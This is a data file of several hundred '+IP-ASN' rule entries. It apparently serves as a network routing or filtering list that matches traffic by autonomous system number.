+IP-ASN, 26823 +IP-ASN, 26822 +IP-ASN, 26824 +IP-ASN, 26827 +IP-ASN, 26826 +IP-ASN, 26829 +IP-ASN, 14850 +IP-ASN, 14851 +IP-ASN, 14832 +IP-ASN, 14830 +IP-ASN, 13501 +IP-ASN, 13506 +IP-ASN, 14834 +IP-ASN, 13508 +IP-ASN, 13507 +IP-ASN, 14839 +IP-ASN, 26810 +IP-ASN, 26812 +IP-ASN, 26811 +IP-ASN, 26814 +IP-ASN, 26815 +IP-ASN, 26818 +IP-ASN, 26817 +IP-ASN, 26819 +IP-ASN, 14821 +IP-ASN, 14822 +IP-ASN, 14824 +IP-ASN, 14827 +IP-ASN, 14828 +IP-ASN, 26801 +IP-ASN, 26803 +IP-ASN, 200182 +IP-ASN, 26805 +IP-ASN, 26804 +IP-ASN, 26809 +IP-ASN, 26808 +IP-ASN, 14814 +IP-ASN, 14815 +IP-ASN, 14818 +IP-ASN, 14816 +IP-ASN, 8070 +IP-ASN, 63829 +IP-ASN, 212149 +IP-ASN, 8075 +IP-ASN, 8076 +IP-ASN, 14803 +IP-ASN, 14801 +IP-ASN, 14808 +IP-ASN, 14805 +IP-ASN, 14809 +IP-ASN, 8084 +IP-ASN, 8082 +IP-ASN, 49532 +IP-ASN, 51844 +IP-ASN, 62511 +IP-ASN, 62510 +IP-ASN, 62516 +IP-ASN, 200137 +IP-ASN, 62514 +IP-ASN, 51856 +IP-ASN, 8092 +IP-ASN, 62500 +IP-ASN, 62508 +IP-ASN, 62507 +IP-ASN, 62506 +IP-ASN, 62505 +IP-ASN, 62504 +IP-ASN, 49548 +IP-ASN, 62503 +IP-ASN, 62509 +IP-ASN, 36246 +IP-ASN, 395375 +IP-ASN, 394044 +IP-ASN, 12279 +IP-ASN, 395376 +IP-ASN, 395377 +IP-ASN, 36244 +IP-ASN, 394046 +IP-ASN, 36243 +IP-ASN, 395378 +IP-ASN, 36242 +IP-ASN, 394040 +IP-ASN, 395371 +IP-ASN, 394041 +IP-ASN, 395372 +IP-ASN, 36240 +IP-ASN, 395374 +IP-ASN, 394043 +IP-ASN, 395379 +IP-ASN, 394048 +IP-ASN, 394049 +IP-ASN, 8030 +IP-ASN, 12282 +IP-ASN, 8038 +IP-ASN, 8035 +IP-ASN, 12284 +IP-ASN, 8036 +IP-ASN, 395370 +IP-ASN, 36239 +IP-ASN, 12286 +IP-ASN, 12285 +IP-ASN, 36237 +IP-ASN, 36236 +IP-ASN, 12287 +IP-ASN, 12268 +IP-ASN, 394055 +IP-ASN, 13599 +IP-ASN, 36234 +IP-ASN, 394056 +IP-ASN, 13598 +IP-ASN, 394057 +IP-ASN, 36233 +IP-ASN, 395389 +IP-ASN, 394058 +IP-ASN, 36232 +IP-ASN, 36231 +IP-ASN, 395382 +IP-ASN, 394052 +IP-ASN, 394053 +IP-ASN, 395384 +IP-ASN, 12271 +IP-ASN, 12270 +IP-ASN, 8046 +IP-ASN, 12273 +IP-ASN, 395380 +IP-ASN, 8047 +IP-ASN, 12272 +IP-ASN, 395381 +IP-ASN, 36229 +IP-ASN, 36228 +IP-ASN, 12275 +IP-ASN, 36227 +IP-ASN, 12276 +IP-ASN, 36224 +IP-ASN, 12257 +IP-ASN, 13588 +IP-ASN, 394066 +IP-ASN, 395398 +IP-ASN, 36223 +IP-ASN, 36222 +IP-ASN, 12259 +IP-ASN, 36221 +IP-ASN, 394062 +IP-ASN, 395393 +IP-ASN, 395394 +IP-ASN, 394064 +IP-ASN, 395395 +IP-ASN, 394065 +IP-ASN, 395396 +IP-ASN, 26898 +IP-ASN, 26897 +IP-ASN, 8052 +IP-ASN, 8059 +IP-ASN, 13590 +IP-ASN, 395390 +IP-ASN, 8057 +IP-ASN, 395391 +IP-ASN, 394060 +IP-ASN, 12261 +IP-ASN, 395392 +IP-ASN, 394061 +IP-ASN, 13592 +IP-ASN, 36217 +IP-ASN, 13597 +IP-ASN, 12266 +IP-ASN, 36215 +IP-ASN, 12265 +IP-ASN, 36214 +IP-ASN, 13596 +IP-ASN, 36213 +IP-ASN, 394077 +IP-ASN, 12246 +IP-ASN, 13576 +IP-ASN, 12245 +IP-ASN, 36210 +IP-ASN, 12247 +IP-ASN, 13578 +IP-ASN, 394073 +IP-ASN, 394074 +IP-ASN, 394076 +IP-ASN, 26891 +IP-ASN, 26894 +IP-ASN, 26886 +IP-ASN, 13580 +IP-ASN, 394070 +IP-ASN, 36209 +IP-ASN, 13582 +IP-ASN, 8068 +IP-ASN, 8069 +IP-ASN, 13581 +IP-ASN, 36207 +IP-ASN, 394072 +IP-ASN, 12250 +IP-ASN, 12253 +IP-ASN, 13583 +IP-ASN, 8067 +IP-ASN, 12254 +IP-ASN, 36203 +IP-ASN, 14898 +IP-ASN, 394088 +IP-ASN, 12235 +IP-ASN, 13566 +IP-ASN, 14899 +IP-ASN, 36201 +IP-ASN, 394089 +IP-ASN, 12234 +IP-ASN, 13565 +IP-ASN, 12237 +IP-ASN, 12236 +IP-ASN, 13567 +IP-ASN, 12239 +IP-ASN, 12238 +IP-ASN, 394086 +IP-ASN, 26881 +IP-ASN, 26883 +IP-ASN, 26882 +IP-ASN, 26885 +IP-ASN, 26876 +IP-ASN, 26875 +IP-ASN, 26878 +IP-ASN, 394080 +IP-ASN, 13570 +IP-ASN, 13573 +IP-ASN, 12242 +IP-ASN, 13572 +IP-ASN, 13575 +IP-ASN, 12243 +IP-ASN, 394099 +IP-ASN, 13555 +IP-ASN, 14887 +IP-ASN, 13554 +IP-ASN, 14888 +IP-ASN, 12223 +IP-ASN, 12226 +IP-ASN, 14885 +IP-ASN, 13556 +IP-ASN, 12225 +IP-ASN, 12228 +IP-ASN, 394096 +IP-ASN, 13558 +IP-ASN, 12227 +IP-ASN, 12229 +IP-ASN, 394098 +IP-ASN, 26873 +IP-ASN, 26864 +IP-ASN, 26867 +IP-ASN, 26869 +IP-ASN, 26868 +IP-ASN, 14890 +IP-ASN, 394092 +IP-ASN, 8002 +IP-ASN, 394093 +IP-ASN, 394094 +IP-ASN, 12231 +IP-ASN, 8000 +IP-ASN, 8001 +IP-ASN, 14895 +IP-ASN, 12233 +IP-ASN, 14893 +IP-ASN, 394090 +IP-ASN, 12213 +IP-ASN, 14877 +IP-ASN, 13543 +IP-ASN, 12215 +IP-ASN, 12214 +IP-ASN, 13545 +IP-ASN, 12217 +IP-ASN, 13548 +IP-ASN, 13547 +IP-ASN, 12216 +IP-ASN, 12219 +IP-ASN, 14878 +IP-ASN, 8018 +IP-ASN, 13549 +IP-ASN, 14879 +IP-ASN, 12218 +IP-ASN, 26861 +IP-ASN, 26860 +IP-ASN, 26863 +IP-ASN, 26862 +IP-ASN, 26854 +IP-ASN, 26857 +IP-ASN, 26859 +IP-ASN, 8015 +IP-ASN, 12220 +IP-ASN, 13550 +IP-ASN, 8012 +IP-ASN, 12222 +IP-ASN, 14881 +IP-ASN, 14882 +IP-ASN, 8010 +IP-ASN, 13532 +IP-ASN, 12201 +IP-ASN, 12204 +IP-ASN, 13535 +IP-ASN, 13534 +IP-ASN, 14864 +IP-ASN, 14869 +IP-ASN, 13536 +IP-ASN, 12205 +IP-ASN, 12208 +IP-ASN, 8029 +IP-ASN, 12209 +IP-ASN, 26852 +IP-ASN, 26851 +IP-ASN, 26843 +IP-ASN, 26842 +IP-ASN, 26845 +IP-ASN, 26844 +IP-ASN, 26846 +IP-ASN, 26849 +IP-ASN, 26848 +IP-ASN, 8025 +IP-ASN, 14872 +IP-ASN, 12211 +IP-ASN, 14870 +IP-ASN, 13541 +IP-ASN, 8021 +IP-ASN, 14871 +IP-ASN, 12210 +IP-ASN, 62498 +IP-ASN, 395410 +IP-ASN, 61165 +IP-ASN, 62495 +IP-ASN, 62494 +IP-ASN, 62493 +IP-ASN, 396748 +IP-ASN, 396747 +IP-ASN, 396749 +IP-ASN, 395412 +IP-ASN, 396744 +IP-ASN, 395413 +IP-ASN, 396746 +IP-ASN, 395414 +IP-ASN, 395415 +IP-ASN, 396745 +IP-ASN, 395409 +IP-ASN, 396751 +IP-ASN, 62488 +IP-ASN, 395420 +IP-ASN, 395421 +IP-ASN, 395422 +IP-ASN, 396752 +IP-ASN, 36199 +IP-ASN, 36198 +IP-ASN, 62485 +IP-ASN, 36197 +IP-ASN, 62483 +IP-ASN, 62482 +IP-ASN, 36195 +IP-ASN, 36194 +IP-ASN, 36193 +IP-ASN, 395428 +IP-ASN, 396758 +IP-ASN, 36192 +IP-ASN, 36191 +IP-ASN, 395423 +IP-ASN, 395425 +IP-ASN, 62490 +IP-ASN, 395430 +IP-ASN, 396761 +IP-ASN, 394101 +IP-ASN, 36189 +IP-ASN, 394102 +IP-ASN, 36188 +IP-ASN, 395433 +IP-ASN, 396760 +IP-ASN, 36184 +IP-ASN, 394107 +IP-ASN, 395438 +IP-ASN, 36183 +IP-ASN, 36182 +IP-ASN, 395439 +IP-ASN, 394108 +IP-ASN, 394109 +IP-ASN, 36180 +IP-ASN, 395434 +IP-ASN, 396766 +IP-ASN, 394103 +IP-ASN, 395435 +IP-ASN, 394105 +IP-ASN, 395436 +IP-ASN, 395437 +IP-ASN, 395441 +IP-ASN, 394110 +IP-ASN, 394111 +IP-ASN, 395442 +IP-ASN, 36178 +IP-ASN, 395444 +IP-ASN, 394113 +IP-ASN, 36177 +IP-ASN, 36175 +IP-ASN, 36174 +IP-ASN, 395440 +IP-ASN, 36173 +IP-ASN, 394118 +IP-ASN, 36172 +IP-ASN, 394119 +IP-ASN, 36170 +IP-ASN, 395446 +IP-ASN, 394115 +IP-ASN, 395447 +IP-ASN, 394116 +IP-ASN, 394117 +IP-ASN, 394121 +IP-ASN, 395452 +IP-ASN, 36169 +IP-ASN, 394122 +IP-ASN, 394123 +IP-ASN, 395454 +IP-ASN, 36167 +IP-ASN, 395455 +IP-ASN, 394124 +IP-ASN, 36165 +IP-ASN, 395450 +IP-ASN, 36163 +IP-ASN, 36162 +IP-ASN, 395451 +IP-ASN, 36161 +IP-ASN, 394129 +IP-ASN, 394126 +IP-ASN, 395457 +IP-ASN, 394127 +IP-ASN, 394128 +IP-ASN, 394132 +IP-ASN, 395463 +IP-ASN, 395464 +IP-ASN, 394133 +IP-ASN, 36157 +IP-ASN, 395465 +IP-ASN, 395466 +IP-ASN, 36155 +IP-ASN, 36154 +IP-ASN, 36153 +IP-ASN, 395460 +IP-ASN, 395461 +IP-ASN, 36152 +IP-ASN, 395462 +IP-ASN, 36150 +IP-ASN, 394136 +IP-ASN, 394137 +IP-ASN, 395468 +IP-ASN, 394139 +IP-ASN, 12190 +IP-ASN, 141376 +IP-ASN, 141374 +IP-ASN, 12191 +IP-ASN, 12193 +IP-ASN, 12196 +IP-ASN, 36149 +IP-ASN, 394143 +IP-ASN, 395474 +IP-ASN, 12179 +IP-ASN, 394144 +IP-ASN, 395475 +IP-ASN, 36146 +IP-ASN, 36145 +IP-ASN, 395476 +IP-ASN, 394145 +IP-ASN, 36144 +IP-ASN, 395477 +IP-ASN, 394140 +IP-ASN, 394141 +IP-ASN, 36141 +IP-ASN, 395473 +IP-ASN, 394142 +IP-ASN, 395478 +IP-ASN, 394147 +IP-ASN, 12180 +IP-ASN, 12183 +IP-ASN, 12182 +IP-ASN, 12185 +IP-ASN, 12184 +IP-ASN, 12187 +IP-ASN, 12186 +IP-ASN, 36139 +IP-ASN, 12189 +IP-ASN, 36137 +IP-ASN, 36136 +IP-ASN, 12169 +IP-ASN, 13499 +IP-ASN, 12168 +IP-ASN, 395487 +IP-ASN, 394156 +IP-ASN, 36134 +IP-ASN, 395488 +IP-ASN, 394157 +IP-ASN, 395481 +IP-ASN, 36131 +IP-ASN, 395483 +IP-ASN, 394152 +IP-ASN, 395484 +IP-ASN, 394153 +IP-ASN, 394158 +IP-ASN, 25485 +IP-ASN, 12171 +IP-ASN, 12174 +IP-ASN, 12173 +IP-ASN, 395480 +IP-ASN, 36128 +IP-ASN, 12175 +IP-ASN, 12178 +IP-ASN, 36127 +IP-ASN, 36126 +IP-ASN, 48118 +IP-ASN, 202756 +IP-ASN, 49466 +IP-ASN, 200105 +IP-ASN, 62424 +IP-ASN, 61125 +IP-ASN, 396704 +IP-ASN, 396702 +IP-ASN, 396714 +IP-ASN, 396717 +IP-ASN, 396711 +IP-ASN, 396712 +IP-ASN, 62478 +IP-ASN, 62476 +IP-ASN, 62475 +IP-ASN, 62474 +IP-ASN, 62473 +IP-ASN, 396726 +IP-ASN, 396725 +IP-ASN, 396727 +IP-ASN, 396721 +IP-ASN, 62479 +IP-ASN, 62480 +IP-ASN, 142616 +IP-ASN, 62467 +IP-ASN, 396737 +IP-ASN, 395406 +IP-ASN, 396739 +IP-ASN, 395408 +IP-ASN, 396738 +IP-ASN, 396733 +IP-ASN, 395401 +IP-ASN, 395402 +IP-ASN, 61138 +IP-ASN, 395403 +IP-ASN, 62469 +IP-ASN, 396735 +IP-ASN, 62468 +IP-ASN, 395404 +IP-ASN, 14733 +IP-ASN, 13401 +IP-ASN, 14734 +IP-ASN, 14737 +IP-ASN, 13404 +IP-ASN, 14738 +IP-ASN, 14736 +IP-ASN, 13406 +IP-ASN, 13409 +IP-ASN, 14739 +IP-ASN, 198905 +IP-ASN, 26720 +IP-ASN, 400538 +IP-ASN, 26711 +IP-ASN, 26710 +IP-ASN, 400539 +IP-ASN, 26712 +IP-ASN, 26715 +IP-ASN, 26717 +IP-ASN, 26716 +IP-ASN, 400530 +IP-ASN, 400531 +IP-ASN, 26718 +IP-ASN, 14740 +IP-ASN, 400535 +IP-ASN, 400536 +IP-ASN, 13410 +IP-ASN, 400537 +IP-ASN, 14722 +IP-ASN, 14721 +IP-ASN, 14726 +IP-ASN, 14727 +IP-ASN, 14724 +IP-ASN, 14725 +IP-ASN, 400540 +IP-ASN, 14729 +IP-ASN, 26700 +IP-ASN, 26703 +IP-ASN, 26705 +IP-ASN, 400541 +IP-ASN, 26708 +IP-ASN, 26707 +IP-ASN, 400543 +IP-ASN, 26709 +IP-ASN, 400544 +IP-ASN, 400545 +IP-ASN, 400546 +IP-ASN, 14711 +IP-ASN, 14712 +IP-ASN, 14713 +IP-ASN, 14717 +IP-ASN, 14718 +IP-ASN, 400516 +IP-ASN, 400517 +IP-ASN, 400519 +IP-ASN, 400510 +IP-ASN, 400512 +IP-ASN, 400513 +IP-ASN, 400514 +IP-ASN, 400515 +IP-ASN, 399007 +IP-ASN, 14701 +IP-ASN, 399005 +IP-ASN, 399006 +IP-ASN, 14705 +IP-ASN, 399004 +IP-ASN, 14702 +IP-ASN, 399002 +IP-ASN, 14703 +IP-ASN, 14706 +IP-ASN, 14707 +IP-ASN, 399009 +IP-ASN, 400527 +IP-ASN, 400528 +IP-ASN, 400529 +IP-ASN, 400520 +IP-ASN, 400521 +IP-ASN, 400522 +IP-ASN, 400523 +IP-ASN, 400524 +IP-ASN, 1563 +IP-ASN, 1562 +IP-ASN, 2897 +IP-ASN, 1561 +IP-ASN, 399017 +IP-ASN, 399014 +IP-ASN, 1567 +IP-ASN, 400571 +IP-ASN, 1566 +IP-ASN, 399012 +IP-ASN, 1565 +IP-ASN, 2894 +IP-ASN, 1568 +IP-ASN, 399029 +IP-ASN, 399027 +IP-ASN, 399028 +IP-ASN, 399026 +IP-ASN, 399024 +IP-ASN, 400585 +IP-ASN, 400586 +IP-ASN, 399022 +IP-ASN, 400587 +IP-ASN, 400589 +IP-ASN, 399036 +IP-ASN, 399037 +IP-ASN, 400550 +IP-ASN, 399034 +IP-ASN, 399032 +IP-ASN, 400552 +IP-ASN, 399033 +IP-ASN, 400553 +IP-ASN, 400554 +IP-ASN, 399030 +IP-ASN, 400555 +IP-ASN, 1580 +IP-ASN, 400559 +IP-ASN, 399049 +IP-ASN, 399047 +IP-ASN, 399045 +IP-ASN, 399046 +IP-ASN, 400563 +IP-ASN, 399043 +IP-ASN, 400564 +IP-ASN, 400565 +IP-ASN, 399042 +IP-ASN, 400566 +IP-ASN, 400567 +IP-ASN, 1590 +IP-ASN, 12158 +IP-ASN, 36124 +IP-ASN, 12157 +IP-ASN, 12159 +IP-ASN, 1523 +IP-ASN, 36121 +IP-ASN, 207556 +IP-ASN, 26799 +IP-ASN, 13490 +IP-ASN, 12161 +IP-ASN, 13492 +IP-ASN, 13491 +IP-ASN, 12160 +IP-ASN, 12163 +IP-ASN, 13494 +IP-ASN, 12162 +IP-ASN, 36119 +IP-ASN, 13496 +IP-ASN, 36118 +IP-ASN, 36117 +IP-ASN, 13498 +IP-ASN, 12167 +IP-ASN, 36116 +IP-ASN, 36115 +IP-ASN, 12166 +IP-ASN, 12147 +IP-ASN, 36114 +IP-ASN, 1530 +IP-ASN, 137922 +IP-ASN, 36113 +IP-ASN, 36112 +IP-ASN, 36111 +IP-ASN, 12148 +IP-ASN, 26791 +IP-ASN, 26793 +IP-ASN, 26792 +IP-ASN, 26795 +IP-ASN, 26794 +IP-ASN, 26796 +IP-ASN, 206216 +IP-ASN, 26787 +IP-ASN, 26789 +IP-ASN, 206219 +IP-ASN, 13481 +IP-ASN, 13480 +IP-ASN, 12152 +IP-ASN, 13483 +IP-ASN, 36109 +IP-ASN, 13482 +IP-ASN, 36107 +IP-ASN, 13485 +IP-ASN, 12154 +IP-ASN, 36106 +IP-ASN, 13484 +IP-ASN, 12153 +IP-ASN, 36105 +IP-ASN, 12156 +IP-ASN, 12155 +IP-ASN, 36103 +IP-ASN, 14799 +IP-ASN, 13467 +IP-ASN, 2874 +IP-ASN, 36102 +IP-ASN, 36101 +IP-ASN, 12138 +IP-ASN, 36100 +IP-ASN, 12137 +IP-ASN, 1544 +IP-ASN, 400595 +IP-ASN, 26780 +IP-ASN, 26782 +IP-ASN, 26781 +IP-ASN, 26783 +IP-ASN, 26786 +IP-ASN, 206203 +IP-ASN, 26785 +IP-ASN, 26777 +IP-ASN, 26776 +IP-ASN, 26779 +IP-ASN, 26778 +IP-ASN, 13470 +IP-ASN, 400597 +IP-ASN, 13472 +IP-ASN, 13471 +IP-ASN, 12142 +IP-ASN, 12145 +IP-ASN, 13476 +IP-ASN, 13475 +IP-ASN, 12144 +IP-ASN, 13456 +IP-ASN, 1551 +IP-ASN, 13458 +IP-ASN, 14786 +IP-ASN, 2886 +IP-ASN, 13457 +IP-ASN, 12129 +IP-ASN, 1556 +IP-ASN, 1555 +IP-ASN, 12128 +IP-ASN, 1554 +IP-ASN, 1553 +IP-ASN, 1559 +IP-ASN, 26765 +IP-ASN, 26768 +IP-ASN, 26767 +IP-ASN, 14792 +IP-ASN, 12130 +IP-ASN, 13461 +IP-ASN, 13460 +IP-ASN, 14790 +IP-ASN, 12131 +IP-ASN, 13462 +IP-ASN, 14793 +IP-ASN, 12134 +IP-ASN, 12133 +IP-ASN, 13464 +IP-ASN, 13445 +IP-ASN, 14777 +IP-ASN, 12114 +IP-ASN, 13444 +IP-ASN, 14778 +IP-ASN, 12113 +IP-ASN, 14775 +IP-ASN, 12116 +IP-ASN, 13446 +IP-ASN, 14776 +IP-ASN, 12118 +IP-ASN, 13448 +IP-ASN, 14779 +IP-ASN, 12119 +IP-ASN, 26760 +IP-ASN, 26762 +IP-ASN, 26761 +IP-ASN, 26764 +IP-ASN, 26763 +IP-ASN, 26757 +IP-ASN, 26759 +IP-ASN, 26758 +IP-ASN, 14780 +IP-ASN, 13450 +IP-ASN, 14784 +IP-ASN, 13452 +IP-ASN, 14785 +IP-ASN, 13451 +IP-ASN, 12120 +IP-ASN, 14782 +IP-ASN, 13454 +IP-ASN, 12122 +IP-ASN, 14783 +IP-ASN, 13453 +IP-ASN, 13434 +IP-ASN, 14766 +IP-ASN, 12102 +IP-ASN, 14767 +IP-ASN, 13433 +IP-ASN, 12105 +IP-ASN, 14765 +IP-ASN, 13435 +IP-ASN, 12104 +IP-ASN, 13438 +IP-ASN, 12107 +IP-ASN, 12109 +IP-ASN, 13439 +IP-ASN, 2827 +IP-ASN, 2828 +IP-ASN, 26751 +IP-ASN, 26750 +IP-ASN, 2824 +IP-ASN, 26744 +IP-ASN, 26743 +IP-ASN, 207505 +IP-ASN, 26746 +IP-ASN, 26745 +IP-ASN, 26748 +IP-ASN, 26747 +IP-ASN, 14770 +IP-ASN, 14773 +IP-ASN, 12110 +IP-ASN, 13443 +IP-ASN, 14771 +IP-ASN, 12111 +IP-ASN, 14755 +IP-ASN, 13423 +IP-ASN, 14756 +IP-ASN, 14753 +IP-ASN, 136600 +IP-ASN, 13427 +IP-ASN, 1501 +IP-ASN, 13426 +IP-ASN, 13429 +IP-ASN, 13428 +IP-ASN, 1502 +IP-ASN, 26740 +IP-ASN, 1508 +IP-ASN, 137937 +IP-ASN, 26742 +IP-ASN, 26741 +IP-ASN, 26732 +IP-ASN, 26735 +IP-ASN, 26734 +IP-ASN, 26736 +IP-ASN, 26738 +IP-ASN, 14762 +IP-ASN, 13430 +IP-ASN, 14763 +IP-ASN, 14760 +IP-ASN, 13432 +IP-ASN, 12101 +IP-ASN, 13431 +IP-ASN, 14761 +IP-ASN, 12100 +IP-ASN, 14744 +IP-ASN, 13412 +IP-ASN, 14745 +IP-ASN, 13414 +IP-ASN, 14742 +IP-ASN, 14743 +IP-ASN, 14748 +IP-ASN, 13416 +IP-ASN, 13415 +IP-ASN, 14749 +IP-ASN, 14746 +IP-ASN, 13418 +IP-ASN, 14747 +IP-ASN, 1516 +IP-ASN, 208810 +IP-ASN, 26722 +IP-ASN, 26721 +IP-ASN, 26724 +IP-ASN, 26723 +IP-ASN, 26725 +IP-ASN, 26727 +IP-ASN, 26729 +IP-ASN, 14750 +IP-ASN, 36089 +IP-ASN, 36088 +IP-ASN, 36086 +IP-ASN, 36083 +IP-ASN, 36082 +IP-ASN, 36081 +IP-ASN, 36080 +IP-ASN, 48077 +IP-ASN, 50389 +IP-ASN, 36079 +IP-ASN, 36078 +IP-ASN, 36075 +IP-ASN, 36074 +IP-ASN, 36073 +IP-ASN, 36072 +IP-ASN, 36071 +IP-ASN, 36070 +IP-ASN, 36069 +IP-ASN, 61069 +IP-ASN, 36067 +IP-ASN, 36063 +IP-ASN, 36062 +IP-ASN, 36061 +IP-ASN, 36057 +IP-ASN, 36056 +IP-ASN, 36055 +IP-ASN, 36054 +IP-ASN, 36050 +IP-ASN, 207487 +IP-ASN, 12090 +IP-ASN, 12092 +IP-ASN, 12095 +IP-ASN, 12094 +IP-ASN, 12097 +IP-ASN, 12096 +IP-ASN, 12099 +IP-ASN, 12098 +IP-ASN, 36048 +IP-ASN, 36047 +IP-ASN, 36046 +IP-ASN, 36045 +IP-ASN, 36044 +IP-ASN, 36041 +IP-ASN, 36040 +IP-ASN, 25393 +IP-ASN, 206142 +IP-ASN, 12082 +IP-ASN, 12081 +IP-ASN, 12083 +IP-ASN, 12086 +IP-ASN, 12085 +IP-ASN, 12088 +IP-ASN, 12087 +IP-ASN, 12089 +IP-ASN, 36037 +IP-ASN, 12069 +IP-ASN, 36036 +IP-ASN, 36035 +IP-ASN, 36033 +IP-ASN, 36032 +IP-ASN, 207465 +IP-ASN, 12073 +IP-ASN, 12075 +IP-ASN, 12074 +IP-ASN, 12077 +IP-ASN, 12076 +IP-ASN, 12079 +IP-ASN, 36028 +IP-ASN, 36027 +IP-ASN, 36026 +IP-ASN, 12058 +IP-ASN, 36025 +IP-ASN, 13389 +IP-ASN, 36024 +IP-ASN, 36023 +IP-ASN, 36022 +IP-ASN, 26699 +IP-ASN, 13391 +IP-ASN, 12060 +IP-ASN, 12062 +IP-ASN, 13393 +IP-ASN, 12061 +IP-ASN, 13392 +IP-ASN, 13395 +IP-ASN, 13394 +IP-ASN, 36019 +IP-ASN, 12065 +IP-ASN, 13396 +IP-ASN, 12067 +IP-ASN, 13379 +IP-ASN, 36015 +IP-ASN, 12048 +IP-ASN, 12047 +IP-ASN, 36013 +IP-ASN, 36012 +IP-ASN, 36011 +IP-ASN, 36010 +IP-ASN, 26691 +IP-ASN, 26694 +IP-ASN, 26695 +IP-ASN, 26698 +IP-ASN, 26688 +IP-ASN, 13380 +IP-ASN, 13382 +IP-ASN, 12051 +IP-ASN, 12050 +IP-ASN, 12053 +IP-ASN, 12052 +IP-ASN, 36009 +IP-ASN, 12055 +IP-ASN, 36007 +IP-ASN, 12054 +IP-ASN, 13388 +IP-ASN, 12056 +IP-ASN, 39998 +IP-ASN, 39999 +IP-ASN, 399059 +IP-ASN, 399056 +IP-ASN, 399054 +IP-ASN, 399055 +IP-ASN, 399053 +IP-ASN, 399050 +IP-ASN, 399051 +IP-ASN, 399069 +IP-ASN, 399065 +IP-ASN, 399066 +IP-ASN, 399064 +IP-ASN, 198980 +IP-ASN, 399060 +IP-ASN, 399078 +IP-ASN, 399079 +IP-ASN, 399076 +IP-ASN, 399077 +IP-ASN, 197684 +IP-ASN, 399071 +IP-ASN, 399088 +IP-ASN, 399086 +IP-ASN, 399081 +IP-ASN, 399082 +IP-ASN, 399090 +IP-ASN, 399091 +IP-ASN, 399099 +IP-ASN, 399094 +IP-ASN, 400505 +IP-ASN, 400506 +IP-ASN, 400508 +IP-ASN, 400509 +IP-ASN, 400502 +IP-ASN, 400503 +IP-ASN, 36097 +IP-ASN, 36095 +IP-ASN, 36094 +IP-ASN, 36093 +IP-ASN, 36092 +IP-ASN, 36091 +IP-ASN, 14610 +IP-ASN, 14611 +IP-ASN, 14616 +IP-ASN, 40903 +IP-ASN, 14617 +IP-ASN, 40901 +IP-ASN, 14614 +IP-ASN, 14615 +IP-ASN, 400650 +IP-ASN, 40902 +IP-ASN, 14618 +IP-ASN, 400659 +IP-ASN, 40907 +IP-ASN, 400651 +IP-ASN, 40908 +IP-ASN, 400652 +IP-ASN, 40905 +IP-ASN, 400656 +IP-ASN, 15951 +IP-ASN, 40909 +IP-ASN, 400657 +IP-ASN, 14601 +IP-ASN, 40910 +IP-ASN, 399106 +IP-ASN, 14602 +IP-ASN, 40911 +IP-ASN, 399107 +IP-ASN, 399104 +IP-ASN, 14600 +IP-ASN, 14605 +IP-ASN, 40914 +IP-ASN, 399102 +IP-ASN, 399103 +IP-ASN, 14606 +IP-ASN, 399100 +IP-ASN, 14603 +IP-ASN, 40913 +IP-ASN, 399101 +IP-ASN, 14609 +IP-ASN, 399108 +IP-ASN, 400662 +IP-ASN, 40918 +IP-ASN, 40919 +IP-ASN, 400663 +IP-ASN, 40916 +IP-ASN, 40917 +IP-ASN, 400666 +IP-ASN, 400669 +IP-ASN, 399117 +IP-ASN, 399118 +IP-ASN, 399115 +IP-ASN, 40920 +IP-ASN, 39936 +IP-ASN, 39937 +IP-ASN, 40926 +IP-ASN, 39938 +IP-ASN, 399111 +IP-ASN, 40923 +IP-ASN, 399112 +IP-ASN, 40924 +IP-ASN, 399119 +IP-ASN, 400637 +IP-ASN, 400638 +IP-ASN, 400639 +IP-ASN, 399110 +IP-ASN, 400632 +IP-ASN, 400633 +IP-ASN, 39940 +IP-ASN, 39942 +IP-ASN, 39943 +IP-ASN, 40932 +IP-ASN, 40933 +IP-ASN, 39944 +IP-ASN, 39945 +IP-ASN, 40930 +IP-ASN, 40931 +IP-ASN, 39946 +IP-ASN, 39947 +IP-ASN, 399124 +IP-ASN, 40936 +IP-ASN, 39948 +IP-ASN, 40934 +IP-ASN, 399122 +IP-ASN, 39949 +IP-ASN, 400648 +IP-ASN, 198804 +IP-ASN, 400640 +IP-ASN, 399120 +IP-ASN, 399121 +IP-ASN, 400642 +IP-ASN, 400643 +IP-ASN, 40939 +IP-ASN, 39950 +IP-ASN, 400644 +IP-ASN, 400645 +IP-ASN, 39952 +IP-ASN, 39953 +IP-ASN, 40943 +IP-ASN, 39954 +IP-ASN, 40944 +IP-ASN, 39956 +IP-ASN, 39957 +IP-ASN, 40942 +IP-ASN, 400690 +IP-ASN, 40947 +IP-ASN, 400691 +IP-ASN, 399135 +IP-ASN, 39958 +IP-ASN, 40948 +IP-ASN, 400692 +IP-ASN, 399133 +IP-ASN, 400694 +IP-ASN, 399134 +IP-ASN, 40946 +IP-ASN, 1689 +IP-ASN, 400695 +IP-ASN, 399131 +IP-ASN, 400696 +IP-ASN, 399132 +IP-ASN, 400697 +IP-ASN, 39960 +IP-ASN, 399130 +IP-ASN, 39961 +IP-ASN, 400699 +IP-ASN, 40954 +IP-ASN, 39965 +IP-ASN, 40955 +IP-ASN, 39966 +IP-ASN, 399148 +IP-ASN, 40952 +IP-ASN, 40953 +IP-ASN, 399149 +IP-ASN, 1699 +IP-ASN, 39969 +IP-ASN, 40959 +IP-ASN, 40956 +IP-ASN, 1696 +IP-ASN, 399145 +IP-ASN, 40951 +IP-ASN, 399142 +IP-ASN, 399143 +IP-ASN, 399140 +IP-ASN, 39970 +IP-ASN, 399141 +IP-ASN, 39971 +IP-ASN, 39974 +IP-ASN, 39978 +IP-ASN, 399159 +IP-ASN, 39979 +IP-ASN, 399157 +IP-ASN, 399158 +IP-ASN, 400671 +IP-ASN, 399155 +IP-ASN, 400672 +IP-ASN, 399156 +IP-ASN, 400673 +IP-ASN, 399153 +IP-ASN, 399154 +IP-ASN, 400674 +IP-ASN, 39981 +IP-ASN, 136560 +IP-ASN, 400676 +IP-ASN, 39983 +IP-ASN, 39984 +IP-ASN, 400678 +IP-ASN, 399150 +IP-ASN, 400679 +IP-ASN, 39985 +IP-ASN, 39986 +IP-ASN, 39987 +IP-ASN, 399168 +IP-ASN, 400681 +IP-ASN, 399169 +IP-ASN, 400682 +IP-ASN, 399166 +IP-ASN, 399167 +IP-ASN, 400684 +IP-ASN, 39990 +IP-ASN, 399164 +IP-ASN, 39991 +IP-ASN, 399165 +IP-ASN, 39992 +IP-ASN, 400686 +IP-ASN, 399162 +IP-ASN, 399163 +IP-ASN, 400688 +IP-ASN, 39994 +IP-ASN, 399160 +IP-ASN, 399161 +IP-ASN, 39997 